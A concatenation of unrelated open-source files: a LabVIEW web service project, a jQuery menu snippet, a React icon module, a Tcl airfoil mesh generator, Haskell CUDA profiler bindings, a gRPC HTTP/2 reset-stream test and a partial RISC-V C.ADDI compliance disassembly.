<Property Name="server.vi.callsEnabled" Type="Bool">true</Property>
<Property Name="server.vi.propertiesEnabled" Type="Bool">true</Property>
<Property Name="specify.custom.address" Type="Bool">false</Property>
<Item Name="AddCORSHeaders.vi" Type="VI" URL="../AddCORSHeaders.vi">
<Property Name="ws.method" Type="Int">1</Property>
<Property Name="ws.type" Type="Int">1</Property>
</Item>
<Item Name="Web Server" Type="Web Service">
<Property Name="Bld_buildSpecName" Type="Str"></Property>
<Property Name="Bld_version.build" Type="Int">27</Property>
<Property Name="ws.autoIncrementVersion" Type="Bool">true</Property>
<Property Name="ws.disconnectInline" Type="Bool">true</Property>
<Property Name="ws.disconnectTypeDefs" Type="Bool">false</Property>
<Property Name="ws.guid" Type="Str">{7F6D086D-6829-4587-99BB-AFC9EEC2C871}</Property>
<Property Name="ws.modifyLibraryFile" Type="Bool">true</Property>
<Property Name="ws.public_folder_name" Type="Str"></Property>
<Property Name="ws.remoteDebugging" Type="Bool">false</Property>
<Property Name="ws.removeLibraryItems" Type="Bool">true</Property>
<Property Name="ws.removePolyVIs" Type="Bool">true</Property>
<Property Name="ws.serveDefaultDoc" Type="Bool">true</Property>
<Property Name="ws.SSE2" Type="Bool">true</Property>
<Property Name="ws.static_permissions" Type="Str"></Property>
<Property Name="ws.version.build" Type="Int">27</Property>
<Property Name="ws.version.fix" Type="Int">0</Property>
<Property Name="ws.version.major" Type="Int">1</Property>
<Property Name="ws.version.minor" Type="Int">0</Property>
<Item Name="Startup VIs" Type="Startup VIs Container"/>
<Item Name="Web Resources" Type="HTTP WebResources Container">
<Item Name="ParametricCurve.vi" Type="VI" URL="../ParametricCurve.vi">
<Property Name="ws.buffered" Type="Bool">true</Property>
<Property Name="ws.includeNameInURL" Type="Bool">true</Property>
<Property Name="ws.keepInMemory" Type="Bool">true</Property>
<Property Name="ws.loadAtStartup" Type="Bool">true</Property>
<Property Name="ws.method" Type="Int">1</Property>
<Property Name="ws.outputFormat" Type="Int">2</Property>
<Property Name="ws.outputType" Type="Int">1</Property>
<Property Name="ws.permissions" Type="Str"></Property>
<Property Name="ws.requireAPIKey" Type="Bool">false</Property>
<Property Name="ws.type" Type="Int">1</Property>
<Property Name="ws.uri" Type="Str"></Property>
<Property Name="ws.useHeaders" Type="Bool">true</Property>
<Property Name="ws.useStandardURL" Type="Bool">true</Property>
</Item>
<Item Name="SignalAndSpectrum.vi" Type="VI" URL="../SignalAndSpectrum.vi">
<Property Name="ws.buffered" Type="Bool">true</Property>
<Property Name="ws.includeNameInURL" Type="Bool">true</Property>
<Property Name="ws.keepInMemory" Type="Bool">true</Property>
<Property Name="ws.loadAtStartup" Type="Bool">true</Property>
<Property Name="ws.method" Type="Int">3</Property>
<Property Name="ws.outputFormat" Type="Int">4</Property>
<Property Name="ws.outputType" Type="Int">1</Property>
<Property Name="ws.permissions" Type="Str"></Property>
<Property Name="ws.requireAPIKey" Type="Bool">false</Property>
<Property Name="ws.type" Type="Int">1</Property>
<Property Name="ws.uri" Type="Str"></Property>
<Property Name="ws.useHeaders" Type="Bool">true</Property>
<Property Name="ws.useStandardURL" Type="Bool">true</Property>
</Item>
</Item>
</Item>
<Item Name="Dependencies" Type="Dependencies">
<Item Name="vi.lib" Type="Folder">
<Item Name="Error Cluster From Error Code.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Error Cluster From Error Code.vi"/>
<Item Name="NI_AALBase.lvlib" Type="Library" URL="/<vilib>/Analysis/NI_AALBase.lvlib"/>
<Item Name="NI_AALPro.lvlib" Type="Library" URL="/<vilib>/Analysis/NI_AALPro.lvlib"/>
<Item Name="NI_WebServices.lvlib" Type="Library" URL="/<vilib>/wsapi/NI_WebServices.lvlib"/>
</Item>
<Item Name="lvanlys.dll" Type="Document" URL="/<resource>/lvanlys.dll"/>
<Item Name="ws_runtime.dll" Type="Document" URL="ws_runtime.dll">
<Property Name="NI.PreserveRelativePath" Type="Bool">true</Property>
</Item>
<Item Name="ParametricCurveData.vi" Type="VI" URL="../ParametricCurveData.vi"/>
<Item Name="AddNoise.vi" Type="VI" URL="../AddNoise.vi"/>
</Item>
<Item Name="Build Specifications" Type="Build">
<Item Name="My Application" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{2F239B9B-2B31-45AB-9BD1-952A1F4459DE}</Property>
<Property Name="App_INI_GUID" Type="Str">{C06B8036-D2F9-4A12-9D1C-01D60AB745F3}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="App_webService.count" Type="Int">1</Property>
<Property Name="App_webService[0].itemID" Type="Ref">/My Computer/Web Server</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{5D457B3A-434A-4B59-AAD0-9E1BA619B9FB}</Property>
<Property Name="Bld_buildSpecName" Type="Str">My Application</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/My Application</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_previewCacheID" Type="Str">{1633C8FF-6C59-438A-BA17-D4791D9CEC04}</Property>
<Property Name="Bld_version.build" Type="Int">3</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">Application.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/My Application/Application.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/My Application/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Source[0].itemID" Type="Str">{571EF614-20BE-4FC0-B9BA-B475B68DA33E}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref"></Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">2</Property>
<Property Name="TgtF_companyName" Type="Str">National Instruments</Property>
<Property Name="TgtF_fileDescription" Type="Str">My Application</Property>
<Property Name="TgtF_internalName" Type="Str">My Application</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright © 2018 National Instruments</Property>
<Property Name="TgtF_productName" Type="Str">My Application</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{CAC8BE5C-8A75-4EAD-9F56-4DEE8BC791D4}</Property>
<Property Name="TgtF_targetfileName" Type="Str">Application.exe</Property>
<Property Name="TgtF_versionIndependent" Type="Bool">true</Property>
</Item>
</Item>
</Item>
</Project>
| LabVIEW | 2 | zlg18/webvi-examples | CallLabVIEWWebService/WebService/WebService.lvproj | [
"MIT"
] |
$(function(){
$('.global-header-navi-sp-btn').click(function() {
$('.spmenu-modal-overray').fadeIn("fast");
$(".spmenu-modal-overray .modal-close").click(function(){
$(".spmenu-modal-overray").fadeOut("fast");
});
});
});
| MTML | 3 | movabletype/mt-theme-jungfrau | themes/jungfrau/templates/template_451.mtml | [
"MIT"
] |
import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon([/*#__PURE__*/_jsx("path", {
d: "M9 13h2.83L14 15.17V8.83L11.83 11H9z",
opacity: ".3"
}, "0"), /*#__PURE__*/_jsx("path", {
d: "M7 9v6h4l5 5V4l-5 5H7zm7-.17v6.34L11.83 13H9v-2h2.83L14 8.83z"
}, "1")], 'VolumeMuteTwoTone'); | JavaScript | 4 | good-gym/material-ui | packages/material-ui-icons/lib/esm/VolumeMuteTwoTone.js | [
"MIT"
] |
# =============================================================
# This script is written to generate structured multi-block
# grid with almost any types of waviness at TE for almost any
# airfoil according to the grid guideline.
#==============================================================
# written by Pay Dehpanah
# last update: Oct 2021
#==============================================================
package require PWI_Glyph 3.18.3
proc Config_Prep { } {
global defset guidelineDir MeshParameters MparafullFilename res_lev WAVE_TYPE NUM_WAVE
if { $MeshParameters != "" } {
puts "GRID VARIABLES ARE SET BY $MeshParameters"
set defset [ParamDefualt $MparafullFilename]
} else {
puts "DEFAULT GRID VARIABLES ARE SET BY defaultMeshParameters.glf"
}
#updating gridflow.py with new sets of variables
GridFlowprop_Update [lrange [lindex $defset 0] end-10 end] \
[lrange [lindex $defset 1] end-10 end] $guidelineDir
MGuideLine $res_lev $guidelineDir
if {[string compare $WAVE_TYPE W2]==0 && [expr [lindex [split $NUM_WAVE ","] 0]%2] != 0} {
puts "NUMBER OF WAVES FOR W2 (I.E. COSINE WAVE) MUST BE EVEN!"
exit -1
}
if {[string compare $WAVE_TYPE W3]==0 && [expr [llength [split $NUM_WAVE ","]]-2] != 0} {
puts "NUMBER OF WAVES FOR W3 (I.E. COSINE AND SINE WAVES) MUST BE TWO NUMBERS SEPERATED BY COMMA!"
exit -1
}
}
proc CAD_Read { airfoilp } {
global cae_solver GRD_TYP nprofile nxnodes nynodes chordln NprofullFilename
upvar 1 symsepdd asep
#grid tolerance
pw::Grid setNodeTolerance 1.0e-07
pw::Grid setConnectorTolerance 1.0e-07
pw::Grid setGridPointTolerance 1.0e-07
pw::Connector setCalculateDimensionMaximum 100000
pw::Application setCAESolver $cae_solver 3
if { ! [string compare $GRD_TYP STR] } {
puts "STRUCTURED MULTIBLOCK GRID IS SELECTED."
puts $asep
} elseif { ! [string compare $GRD_TYP HYB] } {
puts "HYBRID GRID IS SELECTED."
puts $asep
}
if { $NprofullFilename != "" } {
set fpmod [open $airfoilp r]
while {[gets $fpmod line] >= 0} {
lappend nxnodes [expr [lindex [split $line ","] 0]*1000]
lappend nynodes [expr [lindex [split $line ","] 1]*1000]
}
close $fpmod
set chordln [expr [tcl::mathfunc::max {*}$nxnodes]/1000]
puts "AIRFOIL COORDINATES ARE IMPORTED: $nprofile"
puts $asep
} else {
puts "PLEASE INDICATE AIRFOIL COORDINATES AS INPUT."
exit -1
}
}
proc WAVYMESHER {} {
global MeshParameters nprofile NprofullFilename MparafullFilename
global res_lev ypg dsg grg chord_sg
global scriptDir fexmod waveDir blkexam blkexamv
global wave_sg span wv_dpth_up
global symsepdd defset
upvar 1 WAVE_PERCENT wv_prct
upvar 1 WAVE_GEN_METHOD wv_mtd
upvar 1 WAVE_TYPE wv_typ
upvar 1 WAVE_DEPTH wv_dpth
upvar 1 ENDSU endsu
upvar 1 ENDSL endsl
upvar 1 WAVE_Rotational_Angle_Top ZZ_Atop
upvar 1 WAVE_Rotational_Angle_Bottom ZZ_Abot
set symsep [string repeat = 105]
set symsepd [string repeat . 105]
set symsepdd [string repeat - 105]
if { $NprofullFilename == "" } {
if [pw::Application isInteractive] {
set NprofullFilename [tk_getOpenFile]
}
}
if { ! [file readable $NprofullFilename] } {
puts "WITHOUT AIRFOIL COORDINATES AS INPUT THIS SCRIPT DOESN'T WORK."
puts "AIRFOIL COORDINATES: $nprofile does not exist or is not readable"
exit -1
}
#----------------------------------------------------------------------------
#READING AND UPDATING GRID PARAMETERS AND VARIABLES
Config_Prep
puts $symsepdd
puts "GRID GUIDELINE: Level: $res_lev | Y+: $ypg | Delta_S(m): $dsg | GR: $grg | Chordwise_Spacing(m): $chord_sg"
puts $symsep
set meshparacol [lindex $defset 1]
set defParas [lindex $defset 0]
set time_start [pwu::Time now]
#----------------------------------------------------------------------------
#READING INPUT AIRFOIL COORDINATES
CAD_Read $NprofullFilename
#GENERATING THE MODEL BASED ON INPUT AIRFOIL
MDL_GEN [lrange $meshparacol 2 4]
#----------------------------------------------------------------------------
#INCOMPATIBLE WAVY SPECIFICATIONS
if { [string compare $wv_mtd spline] && ! [string compare $wv_typ W1] } {
puts "ONLY SPLINE WAVE METHOD IS COMPATIBLE WITH:"
puts "$wv_typ (i.e. SINE WAVE) WITH $wv_dpth% WAVE DEPTH."
puts $symsep
exit -1
}
if { [string compare $wv_mtd spline] && ($ZZ_Abot!=0 || $ZZ_Atop!=0) } {
puts "ONLY SPLINE WAVE METHOD IS COMPATIBLE WITH ROTATING WAVINESS."
puts "info: wave's rotational angles is ignord."
puts $symsep
set ZZ_Abot 0
set ZZ_Atop 0
}
#----------------------------------------------------------------------------
#READING WAVE AT TRAILING EDGE
set wavelist [list {*}[lrange $meshparacol 6 11] $wave_sg $span \
$ZZ_Atop $ZZ_Abot $endsu $endsl]
set wavelab [list {*}[lrange $defParas 6 11] WV_NOD span ZZ_Atop ZZ_Abot ENDSU ENDSL]
set wscales [lrange $meshparacol 12 13]
set woutdegs [lrange $meshparacol 14 15]
Wave_Update $wavelab $wavelist $waveDir
WaveRead
puts $symsep
set blkexam [pw::Examine create BlockVolume]
#----------------------------------------------------------------------------
#PREPARING THE TOPOLOGY FOR MESH AND GENERATING THE MESH
Topo_Prep_Mesh $wv_prct
#----------------------------------------------------------------------------
set fexmod [open "$scriptDir/CAE_export.out" w]
#----------------------------------------------------------------------------
WaveRemesh $wv_mtd $wv_dpth_up $wv_prct $wscales $woutdegs
#DOMAIN EXAMINE
$blkexam examine
set blkexamv [$blkexam getMinimum]
#----------------------------------------------------------------------------
#CAE EXPORT
CAE_Export
pw::Display saveView 1 [list {0.50 -0.015 0.5} {-0.10 0.47 0.0} {-0.89 -0.28 -0.35} 86.46 2.53]
pw::Display recallView 1
set time_end [pwu::Time now]
set runtime [pwu::Time subtract $time_end $time_start]
set tmin [expr int([lindex $runtime 0]/60)]
set tsec [expr [lindex $runtime 0]%60]
set tmsec [expr int(floor([lindex $runtime 1]/1000))]
puts $fexmod [string repeat - 50]
puts $fexmod "runtime: $tmin min $tsec sec $tmsec ms"
puts $fexmod [string repeat - 50]
close $fexmod
puts "GRID INFO WRITTEN TO 'CAE_export.out'"
puts $symsep
puts "COMPLETE!"
exit
}
#-------------------------------------- RESET APPLICATION--------------------------------------
pw::Application reset
pw::Application clearModified
set scriptDir [file dirname [info script]]
set guidelineDir [file join $scriptDir guideline]
set waveDir [file join $guidelineDir wave]
source [file join $scriptDir "ParamRead.glf"]
source [file join $guidelineDir "GridParamUpdate.glf"]
source [file join $scriptDir "MeshGuideline.glf"]
source [file join $scriptDir "mesh.glf"]
source [file join $scriptDir "Rmeshwvy.glf"]
source [file join $scriptDir "cae_exporter.glf"]
source [file join $scriptDir "dufunction.glf"]
source [file join $scriptDir "flatbackGen.glf"]
source [file join $scriptDir "quiltGen.glf"]
source [file join $scriptDir "Blendwvy.glf"]
source [file join $scriptDir "Hbrdmesh.glf"]
set defset [ParamDefualt [file join $scriptDir "defaultMeshParameters.glf"]]
set MeshParameters ""
set nprofile ""
set NprofullFilename ""
set MparafullFilename ""
if [pw::Application isInteractive] {
pw::Script loadTK
set wkrdir [pwd]
proc meshparametersgui { } {
global wkrdir MeshParameters MparafullFilename
cd $wkrdir
if { $MeshParameters != "" } {
file exists $MparafullFilename
puts "Input parameters: $MeshParameters"
} else {
set types {
{{GLYPH Files} {.glf}}
{{All Files} * }
}
set initDir $::wkrdir
set MparafullFilename [tk_getOpenFile -initialdir $initDir -filetypes $types]
set MeshParameters [file tail $MparafullFilename]
}
}
proc airfoilp { } {
global wkrdir nprofile NprofullFilename
cd $wkrdir
if { $NprofullFilename != "" } {
file exists $NprofullFilename
puts "Input airfoil coordinates: $nprofile"
} else {
set types {
{{Text Files} {.txt}}
{{All Files} * }
}
set initDir $::wkrdir
set NprofullFilename [tk_getOpenFile -initialdir $initDir -filetypes $types]
set nprofile [file tail $NprofullFilename]
}
}
wm title . "WAVY MESHER"
grid [ttk::frame .c -padding "5 5 5 5"] -column 0 -row 0 -sticky nwes
grid columnconfigure . 0 -weight 1; grid rowconfigure . 0 -weight 1
grid [ttk::labelframe .c.lf -padding "5 5 5 5" -text "SELECT MESH PARAMETERS"]
grid [ttk::button .c.lf.mfl -text "MESHING INPUT" -command \
meshparametersgui] -row 1 -column 1 -sticky e
grid [ttk::entry .c.lf.mfe -width 60 -textvariable MeshParameters] -row 1 -column 2 -sticky e
grid [ttk::button .c.lf.ptl -text "PROFILE INPUT" -command airfoilp] -row 2 -column 1 -sticky e
grid [ttk::entry .c.lf.pte -width 60 -textvariable nprofile] -row 2 -column 2 -sticky e
grid [ttk::button .c.lf.gob -text "WAVY MESH" -command WAVYMESHER] -row 3 -column 2 -sticky e
foreach w [winfo children .c.lf] {grid configure $w -padx 5 -pady 5}
focus .c.lf.mfl
::tk::PlaceWindow . widget
bind . <Return> { WAVYMESHER }
} else {
if {[llength $argv] == 2} {
set MparafullFilename [lindex $argv 0]
set NprofullFilename [lindex $argv 1]
set MeshParameters [file tail $MparafullFilename]
set nprofile [file tail $NprofullFilename]
} elseif {[llength $argv] == 1} {
set NprofullFilename [lindex $argv 0]
set nprofile [file tail $NprofullFilename]
} else {
puts "Invalid command line input! WITHOUT AIRFOIL COORDINATES AS INPUT THIS PROGRAM DOESN'T WORK."
puts "pointwise -b wvymesher.glf ?MeshParameters.glf? airfoil_coordinates.txt <airfoil file>"
exit
}
WAVYMESHER
}
| Glyph | 5 | pdpdhp/wavymesher | wvymesher.glf | [
"BSD-3-Clause"
] |
{-# LANGUAGE ForeignFunctionInterface #-}
--------------------------------------------------------------------------------
-- |
-- Module : Foreign.CUDA.Driver.Profiler
-- Copyright : [2009..2020] Trevor L. McDonell
-- License : BSD
--
-- Profiler control for low-level driver interface
--
--------------------------------------------------------------------------------
module Foreign.CUDA.Driver.Profiler (
OutputMode(..),
initialise,
start, stop,
) where
#include "cbits/stubs.h"
{# context lib="cuda" #}
-- friends
import Foreign.CUDA.Driver.Error
import Foreign.CUDA.Internal.C2HS
-- system
import Foreign
import Foreign.C
-- | Profiler output mode
--
{# enum CUoutput_mode as OutputMode
{ underscoreToCase
, CU_OUT_CSV as CSV }
with prefix="CU_OUT" deriving (Eq, Show) #}
-- | Initialise the CUDA profiler.
--
-- The configuration file is used to specify profiling options and profiling
-- counters. Refer to the "Compute Command Line Profiler User Guide" for
-- supported profiler options and counters.
--
-- Note that the CUDA profiler can not be initialised with this function if
-- another profiling tool is already active.
--
-- <http://docs.nvidia.com/cuda/cuda-driver-api/group__CUDA__PROFILER.html#group__CUDA__PROFILER>
--
{-# INLINEABLE initialise #-}
initialise
:: FilePath -- ^ configuration file that itemises which counters and/or options to profile
-> FilePath -- ^ output file where profiling results will be stored
-> OutputMode
-> IO ()
initialise config output mode
= nothingIfOk =<< cuProfilerInitialize config output mode
{-# INLINE cuProfilerInitialize #-}
{# fun unsafe cuProfilerInitialize
{ `String'
, `String'
, cFromEnum `OutputMode'
}
-> `Status' cToEnum #}
-- | Begin profiling collection by the active profiling tool for the current
-- context. If profiling is already enabled, then this has no effect.
--
-- 'start' and 'stop' can be used to programatically control profiling
-- granularity, by allowing profiling to be done only on selected pieces of
-- code.
--
-- <http://docs.nvidia.com/cuda/cuda-driver-api/group__CUDA__PROFILER.html#group__CUDA__PROFILER_1g8a5314de2292c2efac83ac7fcfa9190e>
--
{-# INLINEABLE start #-}
start :: IO ()
start = nothingIfOk =<< cuProfilerStart
{-# INLINE cuProfilerStart #-}
{# fun unsafe cuProfilerStart
{ } -> `Status' cToEnum #}
-- | Stop profiling collection by the active profiling tool for the current
-- context, and force all pending profiler events to be written to the output
-- file. If profiling is already inactive, this has no effect.
--
-- <http://docs.nvidia.com/cuda/cuda-driver-api/group__CUDA__PROFILER.html#group__CUDA__PROFILER_1g4d8edef6174fd90165e6ac838f320a5f>
--
{-# INLINEABLE stop #-}
stop :: IO ()
stop = nothingIfOk =<< cuProfilerStop
{-# INLINE cuProfilerStop #-}
{# fun unsafe cuProfilerStop
{ } -> `Status' cToEnum #}
| C2hs Haskell | 4 | jmatsushita/cuda | src/Foreign/CUDA/Driver/Profiler.chs | [
"BSD-3-Clause"
] |
# Copyright 2016 gRPC authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import http2_base_server
class TestcaseRstStreamDuringData(object):
"""
In response to an incoming request, this test sends headers, followed by
some data, followed by a reset stream frame. Client asserts that the RPC
failed and does not deliver the message to the application.
"""
def __init__(self):
self._base_server = http2_base_server.H2ProtocolBaseServer()
self._base_server._handlers['DataReceived'] = self.on_data_received
self._base_server._handlers['SendDone'] = self.on_send_done
def get_base_server(self):
return self._base_server
def on_data_received(self, event):
self._base_server.on_data_received_default(event)
sr = self._base_server.parse_received_data(event.stream_id)
if sr:
response_data = self._base_server.default_response_data(
sr.response_size)
self._ready_to_send = True
response_len = len(response_data)
truncated_response_data = response_data[0:response_len / 2]
self._base_server.setup_send(truncated_response_data,
event.stream_id)
def on_send_done(self, stream_id):
self._base_server.send_reset_stream()
self._base_server._stream_status[stream_id] = False
| Python | 4 | arghyadip01/grpc | test/http2_test/test_rst_during_data.py | [
"Apache-2.0"
] |
/home/spinalvm/hdl/riscv-compliance/work//C.ADDI.elf: file format elf32-littleriscv
Disassembly of section .text.init:
80000000 <_start>:
80000000: 0001 nop
80000002: 0001 nop
80000004: 0001 nop
80000006: 0001 nop
80000008: 0001 nop
8000000a: 0001 nop
8000000c: 0001 nop
8000000e: 0001 nop
80000010: 0001 nop
80000012: 0001 nop
80000014: 0001 nop
80000016: 0001 nop
80000018: 0001 nop
8000001a: 0001 nop
8000001c: 0001 nop
8000001e: 0001 nop
80000020: 0001 nop
80000022: 0001 nop
80000024: 0001 nop
80000026: 0001 nop
80000028: 0001 nop
8000002a: 0001 nop
8000002c: 0001 nop
8000002e: 0001 nop
80000030: 0001 nop
80000032: 0001 nop
80000034: 0001 nop
80000036: 0001 nop
80000038: 0001 nop
8000003a: 0001 nop
8000003c: 0001 nop
8000003e: 0001 nop
80000040: 0001 nop
80000042: 0001 nop
80000044: 0001 nop
80000046: 0001 nop
80000048: 0001 nop
8000004a: 0001 nop
8000004c: 0001 nop
8000004e: 0001 nop
80000050: 0001 nop
80000052: 0001 nop
80000054: 0001 nop
80000056: 0001 nop
80000058: 0001 nop
8000005a: 0001 nop
8000005c: 0001 nop
8000005e: 0001 nop
80000060: 0001 nop
80000062: 0001 nop
80000064: 0001 nop
80000066: 0001 nop
80000068: 0001 nop
8000006a: 0001 nop
8000006c: 0001 nop
8000006e: 0001 nop
80000070: 0001 nop
80000072: 0001 nop
80000074: 0001 nop
80000076: 0001 nop
80000078: 0001 nop
8000007a: 0001 nop
8000007c: 0001 nop
8000007e: 0001 nop
80000080: 0001 nop
80000082: 0001 nop
80000084: 0001 nop
80000086: 0001 nop
80000088: 0001 nop
8000008a: 0001 nop
8000008c: 0001 nop
8000008e: 0001 nop
80000090: 0001 nop
80000092: 0001 nop
80000094: 0001 nop
80000096: 0001 nop
80000098: 0001 nop
8000009a: 0001 nop
8000009c: 0001 nop
8000009e: 0001 nop
800000a0: 0001 nop
800000a2: 0001 nop
800000a4: 0001 nop
800000a6: 0001 nop
800000a8: 0001 nop
800000aa: 0001 nop
800000ac: 0001 nop
800000ae: 0001 nop
800000b0: 0001 nop
800000b2: 0001 nop
800000b4: 0001 nop
800000b6: 0001 nop
800000b8: 0001 nop
800000ba: 0001 nop
800000bc: 0001 nop
800000be: 0001 nop
800000c0: 0001 nop
800000c2: 0001 nop
800000c4: 0001 nop
800000c6: 0001 nop
800000c8: 0001 nop
800000ca: 0001 nop
800000cc: 0001 nop
800000ce: 0001 nop
800000d0: 0001 nop
800000d2: 0001 nop
800000d4: 0001 nop
800000d6: 0001 nop
800000d8: 0001 nop
800000da: 0001 nop
800000dc: 0001 nop
800000de: 0001 nop
800000e0: 0001 nop
800000e2: 0001 nop
800000e4: 0001 nop
800000e6: 0001 nop
800000e8: 0001 nop
800000ea: 0001 nop
800000ec: 0001 nop
800000ee: 00001117 auipc sp,0x1
800000f2: f1210113 addi sp,sp,-238 # 80001000 <codasip_signature_start>
800000f6: 4181 li gp,0
800000f8: 0185 addi gp,gp,1
800000fa: c00e sw gp,0(sp)
800000fc: 4201 li tp,0
800000fe: 0209 addi tp,tp,2
80000100: c212 sw tp,4(sp)
80000102: 4401 li s0,0
80000104: 043d addi s0,s0,15
80000106: c422 sw s0,8(sp)
80000108: 4481 li s1,0
8000010a: 04c1 addi s1,s1,16
8000010c: c626 sw s1,12(sp)
8000010e: 4581 li a1,0
80000110: 05fd addi a1,a1,31
80000112: c82e sw a1,16(sp)
80000114: 00001117 auipc sp,0x1
80000118: f0010113 addi sp,sp,-256 # 80001014 <test_2_res>
8000011c: 4605 li a2,1
8000011e: 0605 addi a2,a2,1
80000120: c032 sw a2,0(sp)
80000122: 4685 li a3,1
80000124: 0689 addi a3,a3,2
80000126: c236 sw a3,4(sp)
80000128: 4705 li a4,1
8000012a: 073d addi a4,a4,15
8000012c: c43a sw a4,8(sp)
8000012e: 4785 li a5,1
80000130: 07c1 addi a5,a5,16
80000132: c63e sw a5,12(sp)
80000134: 4805 li a6,1
80000136: 087d addi a6,a6,31
80000138: c842 sw a6,16(sp)
8000013a: 00001117 auipc sp,0x1
8000013e: eee10113 addi sp,sp,-274 # 80001028 <test_3_res>
80000142: fff00893 li a7,-1
80000146: 0885 addi a7,a7,1
80000148: c046 sw a7,0(sp)
8000014a: fff00913 li s2,-1
8000014e: 0909 addi s2,s2,2
80000150: c24a sw s2,4(sp)
80000152: fff00993 li s3,-1
80000156: 09bd addi s3,s3,15
80000158: c44e sw s3,8(sp)
8000015a: fff00a13 li s4,-1
8000015e: 0a41 addi s4,s4,16
80000160: c652 sw s4,12(sp)
80000162: fff00a93 li s5,-1
80000166: 0afd addi s5,s5,31
80000168: c856 sw s5,16(sp)
8000016a: 00001117 auipc sp,0x1
8000016e: ed210113 addi sp,sp,-302 # 8000103c <test_4_res>
80000172: 00080b37 lui s6,0x80
80000176: fffb0b13 addi s6,s6,-1 # 7ffff <_start-0x7ff80001>
8000017a: 0b05 addi s6,s6,1
8000017c: c05a sw s6,0(sp)
8000017e: 00080bb7 lui s7,0x80
80000182: fffb8b93 addi s7,s7,-1 # 7ffff <_start-0x7ff80001>
80000186: 0b89 addi s7,s7,2
80000188: c25e sw s7,4(sp)
8000018a: 00080c37 lui s8,0x80
8000018e: fffc0c13 addi s8,s8,-1 # 7ffff <_start-0x7ff80001>
80000192: 0c3d addi s8,s8,15
80000194: c462 sw s8,8(sp)
80000196: 00080cb7 lui s9,0x80
8000019a: fffc8c93 addi s9,s9,-1 # 7ffff <_start-0x7ff80001>
8000019e: 0cc1 addi s9,s9,16
800001a0: c666 sw s9,12(sp)
800001a2: 00080d37 lui s10,0x80
800001a6: fffd0d13 addi s10,s10,-1 # 7ffff <_start-0x7ff80001>
800001aa: 0d7d addi s10,s10,31
800001ac: c86a sw s10,16(sp)
800001ae: 00001117 auipc sp,0x1
800001b2: ea210113 addi sp,sp,-350 # 80001050 <test_5_res>
800001b6: 00080db7 lui s11,0x80
800001ba: 0d85 addi s11,s11,1
800001bc: c06e sw s11,0(sp)
800001be: 00080e37 lui t3,0x80
800001c2: 0e09 addi t3,t3,2
800001c4: c272 sw t3,4(sp)
800001c6: 00080eb7 lui t4,0x80
800001ca: 0ebd addi t4,t4,15
800001cc: c476 sw t4,8(sp)
800001ce: 00080f37 lui t5,0x80
800001d2: 0f41 addi t5,t5,16
800001d4: c67a sw t5,12(sp)
800001d6: 00080fb7 lui t6,0x80
800001da: 0ffd addi t6,t6,31
800001dc: c87e sw t6,16(sp)
800001de: 00001517 auipc a0,0x1
800001e2: e2250513 addi a0,a0,-478 # 80001000 <codasip_signature_start>
800001e6: 00001597 auipc a1,0x1
800001ea: e8a58593 addi a1,a1,-374 # 80001070 <_end>
800001ee: f0100637 lui a2,0xf0100
800001f2: f2c60613 addi a2,a2,-212 # f00fff2c <_end+0x700feebc>
800001f6 <complience_halt_loop>:
800001f6: 00b50c63 beq a0,a1,8000020e <complience_halt_break>
800001fa: 4554 lw a3,12(a0)
800001fc: c214 sw a3,0(a2)
800001fe: 4514 lw a3,8(a0)
80000200: c214 sw a3,0(a2)
80000202: 4154 lw a3,4(a0)
80000204: c214 sw a3,0(a2)
80000206: 4114 lw a3,0(a0)
80000208: c214 sw a3,0(a2)
8000020a: 0541 addi a0,a0,16
8000020c: b7ed j 800001f6 <complience_halt_loop>
8000020e <complience_halt_break>:
8000020e: f0100537 lui a0,0xf0100
80000212: f2050513 addi a0,a0,-224 # f00fff20 <_end+0x700feeb0>
80000216: 00052023 sw zero,0(a0)
...
Disassembly of section .data:
80001000 <codasip_signature_start>:
80001000: ffff 0xffff
80001002: ffff 0xffff
80001004: ffff 0xffff
80001006: ffff 0xffff
80001008: ffff 0xffff
8000100a: ffff 0xffff
8000100c: ffff 0xffff
8000100e: ffff 0xffff
80001010: ffff 0xffff
80001012: ffff 0xffff
80001014 <test_2_res>:
80001014: ffff 0xffff
80001016: ffff 0xffff
80001018: ffff 0xffff
8000101a: ffff 0xffff
8000101c: ffff 0xffff
8000101e: ffff 0xffff
80001020: ffff 0xffff
80001022: ffff 0xffff
80001024: ffff 0xffff
80001026: ffff 0xffff
80001028 <test_3_res>:
80001028: ffff 0xffff
8000102a: ffff 0xffff
8000102c: ffff 0xffff
8000102e: ffff 0xffff
80001030: ffff 0xffff
